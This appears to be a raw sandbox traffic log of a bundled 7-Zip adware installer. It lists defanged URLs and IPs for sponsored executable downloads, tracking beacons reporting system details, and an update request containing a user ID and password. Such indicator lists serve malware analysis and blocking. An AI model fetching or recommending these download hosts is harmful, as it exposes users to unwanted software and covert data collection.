hxxp://logs.nodedomax.com/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923 69.16.175.10
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=10&utmn=2018223369&utmhn=installer.filebulldog.com&utmhid=1940924065&utmr=-&utmp=Installer_Init&utmht=1430386036996&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430385927 54.231.10.140
hxxp://dl.ourinputinfonet.com/spd/shopp/iweb.exe 69.16.175.10
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRODEXefhs/UZFum2o8YfzOFwceMwQUkz5j3yJ0BOBkhDHd2yOfDq+2TZMCEA89qsgV9niZmSI6gIO0S/U= 23.43.139.27
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=3&index_in_screen=1&index_in_session=3&0.803185817508443 78.138.127.15
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=4&utmn=1272220941&utmhn=bi.bisrv.com&utme=8(sp_slug)9(istartsurf)&utmhid=870522207&utmr=-&utmp=Install_Complete&utmht=1430385826630&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://installer.filebulldog.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&0.08809823590030197 78.138.127.15
hxxp://crl.geotrust.com/crls/secureca.crl 23.43.133.163
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= 23.43.139.27
hxxp://download.genieo.com/partner/gim394750002/release/live/InstallGenieo.exe 54.231.13.193
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&0.878708690459731 78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESzPATDFWSxavJscN vLrCo4Wo77DNrKDSv7giBVAIY12rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESXrcF6JOjEJMoETtCpwnRwgjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Low7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWg== 198.232.124.192
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=7&utmn=1328920837&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Offer_Accepted&utmht=1430386023281&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://ocsp.godaddy.com//MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc= 188.121.36.239
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=3&index_in_screen=1&index_in_session=3&0.21302719032317296 78.138.127.15
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430385928 54.231.10.140
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=2&index_in_screen=1&index_in_session=2&0.8954149863764207 78.138.127.15
hxxp://ocsp.godaddy.com//MEkwRzBFMEMwQTAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX+2yz8LQsgM4CCDsMjSNG/1/Z 188.121.36.239
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=3&index_in_screen=1&index_in_session=3&display_height=80&0.25359863263178783 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&0.44469108518846095 78.138.127.15
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430385932 54.231.10.140
hxxp://stats.nodedomax.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_34&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=12&rnd=1430385935 54.231.34.36
hxxp://g.symcd.com/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg== 23.43.139.27
hxxp://stats.nodedomax.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_34&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430385923&procruntime=2&rnd=1430385925 54.231.34.36
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRES3IlxQB6eB5Tb5n94HT1KkLPiCC4paVhdcdUGYiS9T3hWvLaCpauVc Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zduvs5XDPxhOryl7ypflgvTRwmD/ebOqTPsorVYAdENuhkO58TM0pyg= 198.232.124.192
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1430385970&SBPIDS=1
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/7349.ashx?e=Ka qOJkckoXJDC3MBqZhBjdjsMBgf4CryMlYLXuYTiQDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/iP6pq8QHGxHC4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhdjnbMS4Pfob2H0XoEMGadmxH59cmKdZXuemhbyj Dp3mDnvuZM8OFmDbOD 4Je6KVjShBrTs2JIa/IDdZRKE16DCMG eCDYdUEghD3HnQv1a/gCZD66/sdSVKFBzVQWjB05oujAfFWpTOgMsHybNe40DPXjVNm atGXV3V3SBT5Fva6iyF3lsV14HWAIjwK /B21hic3n4KXCTWlAkKjiEAAvLOJs9nriyfHHxuPN1TattnYLA2W9JfcszaBWoLYTiANl82U9PGWhOqaC0baIKqmE4PfsK33ZlkXQOixg8bksb bGU9p/0oCLL27fEIRTplcm0zAysp04BWvQzLm9JplOfGTfgq6R5SFGAEj2BWwq TzfH7GZ9QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESrStpyyCRN5x7ym41MswgnBQC drCF7eFJhhGzA08OtdpLQcpZ72RD4lZ0Pn9hwbTxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9xE2itOk8xksTQhEmdgakIJt6fkJEmbrLbA5wX5Xz49P3ZbbTbQM 8w== 198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=043Mckb8LngyWo2RxjjNijDg90yhWAZuJgZdxYA/ajToUht0DV8eHWD3h9gcT/r2iwEbfeVtNep9AGHLpPN9dvm9MH d93Mvga zuhV9q9Hxu1y 6Ac0RKhN6psLdnSsNiYrnbXcJYFPMXncQenCC3JF1S42 BeaImPFRYkh3egX v6FJSWjmLUVyGRiJmmWG73xbmM7JbkFsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv61eLAdt2STwvhnJsfssGenaftxp29cdet/75Tb6nvI6oZN041sf6R9PPE5RP1LOLdbgMBqn0KNh8JqOWL1s /Izp59WIWsKGx4z3GMUs6QTMnG8k4nQ9jWi94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBQH07zjNFHyg= 198.232.124.192
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=hWfaA75NtHGPJF3ETU mD6jJfooaJy9 2 GHzvfAHPCRoZJTpqsyZ quxda/Dun3gZSk9cPk8/R8KuS8XHvpt/Yt/3GkHgPshjZ3jwf MfnewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4vCUkFiosfAGfrtigeMM3Q3bVRi96wtSGgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cxBhI0CcjVEUbF083kWzhhCoVA3T5jtLGrz6uhnvM Kk= 54.197.238.106
hxxp://lb.thetrafficstat.net/settings?s=9813&ins=1430386023.214 173.45.105.114
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/27164.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYNwxDViRVDOC1YXcJcN2x8HAjq1U t1gQfOJGi8wh2qItjgb6v7cXpPt/0XcjoL3VJQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSwMKk0YNBDNHuPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWNtIkZZ3YKA9A== 198.232.124.192
hxxp://stats.nodedomax.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430385923&lifetime=0&silent=1&crtnm=na&procstarttime=1430385923&procruntime=13&rnd=1430385936 54.231.34.36
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430385928 54.231.10.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=uWabAt9SLcyBuMQa44hX0ICLUderVTK17OXLse4BafTbQC nVTu53mZVsyaCUtL6gqXeieYZsf2494A4w6hav IDAjrH/v51ZYEk4c2tqqwRapSzPNpxY5JPYxSEah4SVR5AawbKoxqRy3/PCMI04GrmNNWY3tq5nbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFfUGrm1d5TzRzYd0CRAC1t03RQMh2kgHVCeHUcar4A/UqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7Mjeke0wFqXi8EY0IrmTwz2ygpW5hLlSagD6ly54KHZ2kVRBjC6QrlIoVQ= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=BSSQS1gsMUSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/FNZ51t0VaMPpKRjNB7AWeFi2s6XsF8NYPpbX8eNZzIIUAvnawhe3hU72ISjKawWsoSwUHtq20zGrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw== 198.232.124.192
hxxp://logs.nodedomax.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923 69.16.175.10
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430385932 54.231.10.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/27164.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYNwxDViRVDOC1YXcJcN2x8HAjq1U t1gQfOJGi8wh2qItjgb6v7cXpPu3mNG2ouchQGAGBAmUlF5unh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU 198.232.124.192
hxxp://webprotectionfree.com/node/?s=9813&br=5 37.58.109.2
hxxp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 78.138.127.15
hxxp://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQDmFsbNcBDBl+cij2b1soa7 178.255.83.1
hxxp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar 87.245.221.90
hxxp://errors.nodedomax.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=465DB06F0E764520B1B553AE7B277E5FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV6dHNtdHljMCwwYWY3OGI5NS1kMmViLTRmZDQtOTY3YS02Y2Q4YTZhMmUyMmQsIiwidW5xIjoiMGFmNzhiOTUtZDJlYi00ZmQ0LTk2N2EtNmNkOGE2YTJlMjJkIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=2&rnd=1430385925 54.231.10.140
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg= 23.43.139.27
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1430385920&SBPIDS=1
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&0.6749842160988707 78.138.127.15
hxxp://www.google-analytics.com/ga.js 216.58.209.174
hxxp://webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&v=4.1.0.13 37.58.109.2
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1430385933 54.231.10.140
hxxp://ocsp.godaddy.com//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH+3ahq1OMCAxvnFQ== 188.121.36.239
hxxp://install.theswiftrecord.com/ii?alpha=VX0QKRUFWQgKezxyPwMaVDlDJBVVIRwBGGBOBDhQByFablBADHMYIgF7HE0RWjRXKH8MTStpLh12Q3UCVTZsLX05dkw3EQEhAi5WcD5rBkZ4Iks4SAYpUxZCLhAWH39TKUpMDQJ3Fy5mUzsMK1l7aBMOdFcIf1pXPH4wAQFQXnp0JTZ7RHMeBiEHKV4peXhFHgljFH1JR3pTAUB1YVA0BAp5BH9MX0NFSS8CaX5tG29mFHx3VRV3KVdJZUBzBlIpen42ZAMNZh5hQhBzA200JhIacDhILBYEO1lFEycOQDJNRXMPeUVCDG0GKBVgT3ASTXtyJTcBVDloR05rITdcBn0vajpkIQNpA3oxFmoVaz4/GEkHawZ+V0JmQlMVIgNRPksVdR9qAEBQQwRrXS8NMUQfNFYgOAtcc14JHicYNltAMAl3On8qBiVwQHBCeQMwazgBGhN3SHoJTjFTBFMuGhJ3CFMuWmJBDQEQVX5XNQkpTgsZH35pXw97PRcWL0wDUgxrOT83ZCIMOGd6TnhdVn0iOxQaYxJ5BjhVLAFYc15UQylcTzwqQldRQ0VPHQ59SGoVVXt2bAomaAc7IxA4GmV3BW41ejYtPwk4BVF/VSFBPzdrRgIAAVE5Awc= 8.34.112.140
hxxp://webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=C7EA5D40-7F8D-41EE-8724-16F387C4EEE8&v=4.1.0.13 37.58.109.2
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=3&index_in_screen=1&index_in_session=3&0.3723478397918981 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=3&index_in_screen=1&index_in_session=3&0.24392571885581815 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=2&index_in_screen=1&index_in_session=2&0.18562550075796524 78.138.127.15
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= 23.43.139.27
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1430385923 54.231.10.140
hxxp://webprotectionfree.com/c/SetupComponents.exe 37.58.109.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/2763.ashx?e=p9HAq5TtKa nb5JQEhhcuGOp2UthrW4qQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaW4LiTw82/YNr7XCLs/WzKJ9eFhsT1abeQqykZerlmJWOBvq/txek 4iYlmtiSGZOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw== 198.232.124.192
hxxp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/27164.ashx?e=c2mW1WEUbCGQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpm5LT87ehXaouB5vT09TkZPjLUR1sqzj3fFDEx7p39heZkF1/HCKmEvlcum0nVhgGnsJk52TNevbiKIFo3W8f23Wq7IsWCDz4EGVrUzn4iLNaoPZj94HyTT3FsALGJiApIj GXdVcREtCUHeR8YCF3xzZQYVq/ZZusvNkHARych5LYVlLaQ3XGR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU 198.232.124.192
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl 87.245.221.98
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=2&utmn=467482209&utmhn=installer.filebulldog.com&utmhid=660562213&utmr=-&utmp=Offer_Accepted&utmht=1430385883684&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430385931 54.231.10.140
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=2&index_in_screen=1&index_in_session=2&0.06411901323134278 78.138.127.15
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?6a9849fe3111a2a3 87.245.221.90
